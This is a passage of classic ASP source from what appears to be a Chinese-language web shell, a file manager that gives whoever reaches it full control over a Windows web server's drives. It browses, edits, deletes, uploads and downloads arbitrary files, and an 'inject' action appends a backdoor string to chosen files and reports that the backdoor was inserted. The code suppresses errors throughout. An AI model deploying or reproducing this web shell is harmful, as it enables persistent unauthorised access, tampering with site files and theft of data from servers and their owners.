        On Error Resume Next
      End If
      Response.Buffer = True
      Dim file, drive, folder, theFiles, theFolder, theFolders
      Dim i, theAct, strTmp, driveStr, thePath, parentFolderName
      
      theAct = Request("theAct")
      thePath = Request("thePath")
      If theAct <> "upload" Then
        If Request.Form.Count > 0 Then
           theAct = Request.Form("theAct")
           thePath = Request.Form("thePath")
        End If
      End If

      showTitle("FSO文件浏览器(&stream)")
      
      Select Case theAct
        Case "newOne", "doNewOne"
           fsoNewOne(thePath)
        Case "showEdit"
           Call showEdit(thePath, "fso")
        Case "saveFile"
           Call saveToFile(thePath, "fso")
        Case "openUrl"
           openUrl(thePath)
        Case "copyOne", "cutOne"
           If thePath = "" Then
              alertThenClose("参数错误!")
              Response.End
           End If
           Session(m & "fsoThePath") = thePath
           Session(m & "fsoTheAct") = theAct
           alertThenClose("操作成功,请粘贴!")
        Case "pastOne"
           fsoPastOne(thePath)
           alertThenClose("粘贴成功,请刷新本页查看效果!")
        Case "showFsoRename"
           showFsoRename(thePath)
        Case "doRename"
           Call fsoRename(thePath)
           alertThenClose("重命名成功,刷新后可以看到效果!")
        Case "delOne", "doDelOne"
           showFsoDelOne(thePath)
        Case "getAttributes", "doModifyAttributes"
           fsoTheAttributes(thePath)
        Case "downTheFile"
           downTheFile(thePath)
        Case "showUpload"
           Call showUpload(thePath, "FsoFileExplorer")
        Case "upload"
           streamUpload(thePath)
           Call showUpload(thePath, "FsoFileExplorer")
        Case "inject"
           Set theFiles = fsoX.OpenTextFile(thePath)
           strTmp = theFiles.ReadAll()
           fsoSaveToFile thePath, strTmp & strBackDoor
           Set theFiles = Nothing
           alertThenClose("后门插入成功!")
      End Select
      
      If theAct <> "" Then
        Response.End
      End If
      
      If Request.Form.Count > 0 Then
        redirectTo("?pageName=FsoFileExplorer&thePath=" & UrlEncode(thePath))
      End If
      
      parentFolderName = fsoX.GetParentFolderName(thePath)
      
      echo "<div style=&#39;left:0px;width:100%;height:48px;position:absolute;top:2px;&#39; id=fileExplorerTools>"
      echo "<input type=button value=&#39; 新建 &#39; onclick=newOne();>"
      echo "<input type=button value=&#39; 更名 &#39; onclick=fsoRename();>"
      echo "<input type=button value=&#39; 编辑 &#39; onclick=editFile();>"
      echo "<input type=button value=&#39; 打开 &#39; onclick=openUrl();>"
      echo "<input type=button value=&#39; 复制 &#39; onclick=appDoAction(&#39;copyOne&#39;);>"
      echo "<input type=button value=&#39; 剪切 &#39; onclick=appDoAction(&#39;cutOne&#39;);>"
      echo "<input type=button value=&#39; 粘贴 &#39; onclick=appDoAction2(&#39;pastOne&#39;)>"
      echo "<input type=button value=&#39; 属性 &#39; onclick=fsoGetAttributes();>"
      echo "<input type=button value=&#39; 插入 &#39; onclick=appDoAction(&#39;inject&#39;);>"
      echo "<input type=button value=&#39; 删除 &#39; onclick=delOne();>"
      echo "<input type=button value=&#39; 上传 &#39; onclick=&#39;upTheFile();&#39;>"
      echo "<input type=button value=&#39; 下载 &#39; onclick=&#39;downTheFile();&#39;>"
      echo "<br/>"
      echo "<input type=hidden value=FsoFileExplorer name=pageName />"
      echo "<input type=hidden value=""" & UrlEncode(thePath) & """ name=truePath>"
      echo "<input type=hidden size=50 name=usePath>"

      echo "<form method=post action=?pageName=FsoFileExplorer>"
      If parentFolderName <> "" Then
        echo "<input value=&#39;↑向上&#39; type=button onclick=""this.disabled=true;location.href=&#39;?pageName=FsoFileExplorer&thePath=" & Server.UrlEncode(parentFolderName) & "&#39;;"">"
      End If
      echo "<input type=button value=&#39; 后退 &#39; onclick=&#39;this.disabled=true;history.back();&#39; />"
      echo "<input type=button value=&#39; 前进 &#39; onclick=&#39;this.disabled=true;history.go(1);&#39; />"
      echo "<input size=60 value=""" & HtmlEncode(thePath) & """ name=thePath>"
      echo "<input type=submit value=&#39; 转到 &#39;>"
      driveStr = "<option>盘符</option>"
      driveStr = driveStr & "<option value=&#39;" & HtmlEncode(Server.MapPath(".")) & "&#39;>.</option>"
      driveStr = driveStr & "<option value=&#39;" & HtmlEncode(Server.MapPath("/")) & "&#39;>/</option>"
      For Each drive In fsoX.Drives
        driveStr = driveStr & "<option value=&#39;" & drive.DriveLetter & ":\&#39;>" & drive.DriveLetter & ":\</option>"
      Next
      echo "<input type=button value=&#39; 刷新 &#39; onclick=&#39;location.reload();&#39;> "
      echo "<select onchange=""this.form.thePath.value=this.value;this.form.submit();"">" & driveStr & "</select>"
      echo "<hr/></form>"
      echo "</div><div style=&#39;height:50px;&#39;></div>"
      echo "<script>fixTheLayer(&#39;fileExplorerTools&#39;);setInterval(""fixTheLayer(&#39;fileExplorerTools&#39;);"", 200);</script>"

      If fsoX.FolderExists(thePath) = False Then
        showErr(thePath & " 目录不存在或者不允许访问!")
      End If
      Set theFolder = fsoX.GetFolder(thePath)
      Set theFiles = theFolder.Files
      Set theFolders = theFolder.SubFolders

      echo "<div id=FileList>"
      For Each folder In theFolders
        i = i + 1
        If i > 50 Then
           i = 0
           Response.Flush()
        End If
        strTmp = UrlEncode(folder.Path & "\")
        echo "<span id=&#39;" & strTmp & "&#39; onDblClick=""changeThePath(this);"" onclick=changeMyClass(this);><font class=font face=Wingdings>0</font><br/>" & folder.Name & "</span>" & vbNewLine
      Next
      Response.Flush()
      For Each file In theFiles
        i = i + 1
        If i > 100 Then
           i = 0
           Response.Flush()
        End If
        echo "<span id=&#39;" & UrlEncode(file.Path) & "&#39; title=&#39;类型: " & file.Type & vbNewLine & "大小: " & getTheSize(file.Size) & "&#39; onDblClick=""openUrl();"" onclick=changeMyClass(this);><font class=font face=" & getFileIcon(fsoX.GetExtensionName(file.Name)) & "</font><br/>" & file.Name & "</span>" & vbNewLine
      Next
      echo "</div>"
      chkErr(Err)
      
      echo "<hr/>Powered By Marcos 2005.02"
   End Sub

   Sub fsoNewOne(thePath)
      If isDebugMode = False Then
        On Error Resume Next
      End If
      Dim theAct, isFile, theName, newAct
      isFile = Request("isFile")
      newAct = Request("newAct")
      theName = Request("theName")

      If newAct = " 确定 " Then
        thePath = Replace(thePath & "\" & theName, "\\", "\")
        If isFile = "True" Then
           Call fsoX.CreateTextFile(thePath, False)
         Else
           fsoX.CreateFolder(thePath)
        End If
        chkErr(Err)
        alertThenClose("文件(夹)新建成功,刷新后就可以看到效果!")
        Response.End
      End If
      
      echo "<style>body{overflow:hidden;}</style>"
      echo "<body topmargin=2>"
      echo "<form method=post>"
      echo "<input type=hidden name=thePath value=""" & HtmlEncode(thePath) & """><br/>新建: "
      echo "<input type=radio name=isFile id=file value=&#39;True&#39; checked><label for=file>文件</label> "
      echo "<input type=radio name=isFile id=folder value=&#39;False&#39;><label for=folder>文件夹</label><br/>"
      echo "<input size=38 name=theName><hr/>"
      echo "<input type=hidden name=theAct value=doNewOne>"
      echo "<input type=submit name=newAct value=&#39; 确定 &#39;>" & strJsCloseMe
      echo "</form>"
      echo "</body><br/>"
   End Sub

   Sub fsoPastOne(thePath)
      If isDebugMode = False Then
        On Error Resume Next
      End If
      Dim sessionPath
      sessionPath = Session(m & "fsoThePath")
      
      If thePath = "" Or sessionPath = "" Then
        alertThenClose("参数错误!")
        Response.End
      End If
      
      If Right(thePath, 1) = "\" Then
        thePath = Left(thePath, Len(thePath) - 1)
      End If
      
      If Right(sessionPath, 1) = "\" Then
        sessionPath = Left(sessionPath, Len(sessionPath) - 1)
        If Session(m & "fsoTheAct") = "cutOne" Then
           Call fsoX.MoveFolder(sessionPath, thePath & "\" & fsoX.GetFileName(sessionPath))
         Else
           Call fsoX.CopyFolder(sessionPath, thePath & "\" & fsoX.GetFileName(sessionPath))
        End If
      Else
        If Session(m & "fsoTheAct") = "cutOne" Then
           Call fsoX.MoveFile(sessionPath, thePath & "\" & fsoX.GetFileName(sessionPath))
         Else
           Call fsoX.CopyFile(sessionPath, thePath & "\" & fsoX.GetFileName(sessionPath))
        End If
      End If
      
      chkErr(Err)
   End Sub

   Sub fsoRename(thePath)
      If isDebugMode = False Then
        On Error Resume Next
      End If
      Dim theFile, fileName, theFolder
      fileName = Request("fileName")
      
      If thePath = "" Or fileName = "" Then
        alertThenClose("参数错误!")
        Response.End
      End If

      If Right(thePath, 1) = "\" Then
        Set theFolder = fsoX.GetFolder(thePath)
        theFolder.Name = fileName
        Set theFolder = Nothing
      Else
        Set theFile = fsoX.GetFile(thePath)
        theFile.Name = fileName
        Set theFile = Nothing
      End If
      
      chkErr(Err)
   End Sub

   Sub showFsoRename(thePath)
      Dim theAct, fileName
      fileName = fsoX.getFileName(thePath)
      
      echo "<style>body{overflow:hidden;}</style>"
      echo "<body topmargin=2>"
      echo "<form method=post>"
      echo "<input type=hidden name=thePath value=""" & HtmlEncode(thePath) & """><br/>更名为:<br/>"
      echo "<input size=38 name=fileName value=""" & HtmlEncode(fileName) & """><hr/>"
      echo "<input type=submit value=&#39; 确定 &#39;>"
      echo "<input type=hidden name=theAct value=doRename>"
      echo "<input type=button value=&#39; 关闭 &#39; onclick=&#39;window.close();&#39;>"
      echo "</form>"
      echo "</body><br/>"
   End Sub

   Sub showFsoDelOne(thePath)
      If isDebugMode = False Then
        On Error Resume Next
      End If
      Dim newAct, theFile
      newAct = Request("newAct")

      If newAct = "确认删除?" Then
        If Right(thePath, 1) = "\" Then
           thePath = Left(thePath, Len(thePath) - 1)
           Call fsoX.DeleteFolder(thePath, True)
         Else
           Call fsoX.DeleteFile(thePath, True)
        End If
        chkErr(Err)
        alertThenClose("文件(夹)删除成功,刷新后就可以看到效果!")
        Response.End
      End If

      echo "<style>body{margin:8;border:none;overflow:hidden;background-color:buttonface;}</style>"      
      echo "<form method=post><br/>"
      echo HtmlEncode(thePath)
      echo "<input type=hidden name=thePath value=""" & HtmlEncode(thePath) & """>"
      echo "<input type=hidden name=theAct value=doDelOne>"
      echo "<hr/><input type=submit name=newAct value=&#39;确认删除?&#39;><input type=button value=&#39; 关闭 &#39; onclick=&#39;window.close();&#39;>"
      echo "</form>"
   End Sub

   Sub fsoTheAttributes(thePath)
      If isDebugMode = False Then
        On Error Resume Next
      End If
      Dim newAct, theFile, theFolder, theTitle
      newAct = Request("newAct")
      
      If Right(thePath, 1) = "\" Then
        Set theFolder = fsoX.GetFolder(thePath)
        If newAct = " 修改 " Then
           setMyTitle(theFolder)
        End If
           theTitle = getMyTitle(theFolder)
        Set theFolder = Nothing
      Else
        Set theFile = fsoX.GetFile(thePath)
        If newAct = " 修改 " Then
           setMyTitle(theFile)
        End If
        theTitle = getMyTitle(theFile)
        Set theFile = Nothing
      End If
      
      chkErr(Err)
      theTitle = Replace(theTitle, vbNewLine, "<br/>")
      echo "<style>body{margin:8;overflow:hidden;}</style>"
      echo "<form method=post>"
      echo "<input type=hidden name=thePath value=""" & HtmlEncode(thePath) & """>"
      echo "<input type=hidden name=theAct value=doModifyAttributes>"
      echo theTitle
      echo "<hr/><input type=submit name=newAct value=&#39; 修改 &#39;>" & strJsCloseMe
      echo "</form>"
   End Sub

   Function getMyTitle(theOne)
      If isDebugMode = False Then
        On Error Resume Next
      End If
      Dim strTitle
      strTitle = strTitle & "路径: " & theOne.Path & "" & vbNewLine
      strTitle = strTitle & "大小: " & getTheSize(theOne.Size) & vbNewLine
      strTitle = strTitle & "属性: " & getAttributes(theOne.Attributes) & vbNewLine
      strTitle = strTitle & "创建时间: " & theOne.DateCreated & vbNewLine
      strTitle = strTitle & "最后修改: " & theOne.DateLastModified & vbNewLine
      strTitle = strTitle & "最后访问: " & theOne.DateLastAccessed
      getMyTitle = strTitle
   End Function

   Sub setMyTitle(theOne)
      Dim i, myAttributes
      
      For i = 1 To Request("attributes").Count
        myAttributes = myAttributes + CInt(Request("attributes")(i))
      Next
      theOne.Attributes = myAttributes
      
      chkErr(Err)
      echo  "<script>alert(&#39;该文件(夹)属性已按正确设置修改完成!&#39;);</script>"
   End Sub

   Function getAttributes(intValue)
      Dim strAtt
      strAtt = "<input type=checkbox name=attributes value=4 {$system}>系统 "
      strAtt = strAtt & "<input type=checkbox name=attributes value=2 {$hidden}>隐藏 "
      strAtt = strAtt & "<input type=checkbox name=attributes value=1 {$readonly}>只读  "
      strAtt = strAtt & "<input type=checkbox name=attributes value=32 {$archive}>存档<br/>　　  "
      strAtt = strAtt & "<input type=checkbox name=attributes {$normal} value=0>普通 "
      strAtt = strAtt & "<input type=checkbox name=attributes value=128 {$compressed}>压缩 "
      strAtt = strAtt & "<input type=checkbox name=attributes value=16 {$directory}>文件夹 "
      strAtt = strAtt & "<input type=checkbox name=attributes value=64 {$alias}>快捷方式"
&#39;      strAtt = strAtt & "<input type=checkbox name=attributes value=8 {$volume}>卷标 "
      If intValue = 0 Then
        strAtt = Replace(strAtt, "{$normal}", "checked")
      End If
      If intValue >= 128 Then
        intValue = intValue - 128
        strAtt = Replace(strAtt, "{$compressed}", "checked")
      End If
      If intValue >= 64 Then
        intValue = intValue - 64
        strAtt = Replace(strAtt, "{$alias}", "checked")
      End If
      If intValue >= 32 Then
        intValue = intValue - 32
        strAtt = Replace(strAtt, "{$archive}", "checked")
      End If
      If intValue >= 16 Then
        intValue = intValue - 16
        strAtt = Replace(strAtt, "{$directory}", "checked")
      End If
      If intValue >= 8 Then
        intValue = intValue - 8
        strAtt = Replace(strAtt, "{$volume}", "checked")
      End If
      If intValue >= 4 Then
        intValue = intValue - 4
        strAtt = Replace(strAtt, "{$system}", "checked")
      End If
      If intValue >= 2 Then
        intValue = intValue - 2
        strAtt = Replace(strAtt, "{$hidden}", "checked")
      End If
      If intValue >= 1 Then
        intValue = intValue - 1
        strAtt = Replace(strAtt, "{$readonly}", "checked")
      End If
      getAttributes = strAtt
   End Function

   Sub showEdit(thePath, strMethod)
      If isDebugMode = False Then
        On Error Resume Next
      End If
      Dim theFile, unEditableExt
      
      If Right(thePath, 1) = "\" Then
        alertThenClose("编辑文件夹操作是非法的.")
        Response.End
      End If
      
      unEditableExt = "$exe$dll$bmp$wav$mp3$wma$ra$wmv$ram$rm$avi$mgp$png$tiff$gif$pcx$jpg$com$msi$scr$rar$zip$ocx$sys$mdb$"
      
      echo "<style>body{border:none;overflow:hidden;background-color:buttonface;}</style>"
      echo "<body topmargin=9>"
      echo "<form method=post style=&#39;margin:0;width:100%;height:100%;&#39;>"
      echo "<textarea name=fileContent style=&#39;width:100%;height:90%;&#39;>"
      If strMethod = "stream" Then
        echo HtmlEncode(streamLoadFromFile(thePath))
      Else
        Set theFile = fsoX.OpenTextFile(thePath, 1)
        echo HtmlEncode(theFile.ReadAll())
        theFile.Close
        Set theFile = Nothing
      End If
      echo "</textarea><hr/>"
      echo "<div align=right>"
      echo "保存为:<input size=30 name=thePath value=""" & HtmlEncode(thePath) & """> "
      echo "<input type=checkbox name=&#39;windowStatus&#39; id=windowStatus"
      If Request.Cookies(m & "windowStatus") = "True" Then
        echo " checked"
      End If
      echo "><label for=windowStatus>保存后关闭窗口</label> "
      echo "<input type=submit value=&#39; 保存 &#39;><input type=hidden value=&#39;saveFile&#39; name=theAct>"
      echo "<input type=reset value=&#39; 恢复 &#39;>"
      echo "<input type=button value=&#39; 清空 &#39; onclick=this.form.fileContent.innerText=&#39;&#39;;>"
      echo strJsCloseMe & "</div>"
      echo "</form>"
      echo "</body><br/>"
      
   End Sub

   Sub saveToFile(thePath, strMethod)
      If isDebugMode = False Then
        On Error Resume Next
      End If
      Dim fileContent, windowStatus
      fileContent = Request("fileContent")
      windowStatus = Request("windowStatus")
      
      If strMethod = "stream" Then
        streamSaveToFile thePath, fileContent
        chkErr(Err)
      Else
        fsoSaveToFile thePath, fileContent
        chkErr(Err)
      End If
      
      If windowStatus = "on" Then
        Response.Cookies(m & "windowStatus") = "True"
        Response.Write "<script>window.close();</script>"
      Else
        Response.Cookies(m & "windowStatus") = "False"
        Call showEdit(thePath, strMethod)
      End If
   End Sub

   Sub fsoSaveToFile(thePath, fileContent)
      Dim theFile
      Set theFile = fsoX.OpenTextFile(thePath, 2, True)
      theFile.Write fileContent
      theFile.Close
      Set theFile = Nothing
   End Sub

   Sub openUrl(usePath)
      Dim theUrl, thePath
      
      thePath = Server.MapPath("/")
      
      If LCase(Left(usePath, Len(thePath))) = LCase(thePath) Then
        theUrl = Mid(usePath, Len(thePath) + 1)
        theUrl = Replace(theUrl, "\", "/")
        If Left(theUrl, 1) = "/" Then
           theUrl = Mid(theUrl, 2)
        End If
        Response.Redirect("/" & theUrl)
      Else
        alertThenClose("您所要打开的文件不在本站点目录下\n您可以尝试把要打开(下载)的文件粘贴到\n站点目录下,然后再打开(下载)!")
        Response.End
      End If
   End Sub

   Sub downTheFile(thePath)
      Response.Clear
      If isDebugMode = False Then
        On Error Resume Next
      End If
      Dim stream, fileName, fileContentType

      fileName = split(thePath,"\")(uBound(split(thePath,"\")))
      Set stream = Server.CreateObject("adodb.stream")
      stream.Open
      stream.Type = 1
      stream.LoadFromFile(thePath)
      chkErr(Err)
      Response.AddHeader "Content-Disposition", "attachment; filename=" & fileName
      Response.AddHeader "Content-Length", stream.Size
      Response.Charset = "UTF-8"
      Response.ContentType = "application/octet-stream"
      Response.BinaryWrite stream.Read
      Response.Flush
      stream.Close
      Set stream = Nothing
   End Sub

   Sub showUpload(thePath, pageName)
      echo "<style>body{margin:8;overflow:hidden;}</style>"
      echo "<form method=post enctype=&#39;multipart/form-data&#39; action=&#39;?pageName=" & pageName & "&theAct=upload&thePath=" & UrlEncode(thePath) & "&#39; onsubmit=&#39;this.Submit.disabled=true;;&#39;>"
      echo "上传文件: <input name=file type=file size=31><br/>保存为: "
      echo "<input name=fileName type=text value=""" & HtmlEncode(thePath) & """ size=33>"
      echo "<input type=checkbox name=writeMode value=True>覆盖模式<hr/>"
      echo "<input name=Submit type=submit id=Submit value=&#39;上 传&#39; onClick=""this.form.action+=&#39;&fileName=&#39;+this.form.fileName.value+&#39;&theFile=&#39;+this.form.file.value+&#39;&overWrite=&#39;+this.form.writeMode.checked;"">"
      echo  strJsCloseMe
      echo "</form>"
   End Sub

   Sub streamUpload(thePath)
      If isDebugMode = False Then
        On Error Resume Next
      End If
      Server.ScriptTimeOut = 5000
      Dim i, j, info, stream, streamT, theFile, fileName, overWrite, fileContent
      theFile = Request("theFile")
      fileName = Request("fileName")
      overWrite = Request("overWrite")

      If InStr(fileName, ":") <= 0 Then
        fileName = thePath & fileName
      End If

      Set stream = Server.CreateObject("adodb.stream")
      Set streamT = Server.CreateObject("adodb.stream")

      With stream
        .Type = 1
        .Mode = 3
        .Open
        .Write Request.BinaryRead(Request.TotalBytes)
        .Position = 0
        fileContent = .Read()
        i = InStrB(fileContent, chrB(13) & chrB(10))
        info = LeftB(fileContent, i - 1)
        i = Len(info) + 2
        i = InStrB(i, fileContent, chrB(13) & chrB(10) & chrB(13) & chrB(10)) + 4 - 1
        j = InStrB(i, fileContent, info) - 1
        streamT.Type = 1
        streamT.Mode = 3
        streamT.Open
        stream.position = i
        .CopyTo streamT, j - i - 2
        If overWrite = "true" Then
           streamT.SaveToFile fileName, 2
         Else
           streamT.SaveToFile fileName
        End If
        If Err.Number = 3004 Then
           Err.Clear
           fileName = fileName & "\" & Split(theFile, "\")(UBound(Split(theFile ,"\")))
           If overWrite="true" Then
        &nbs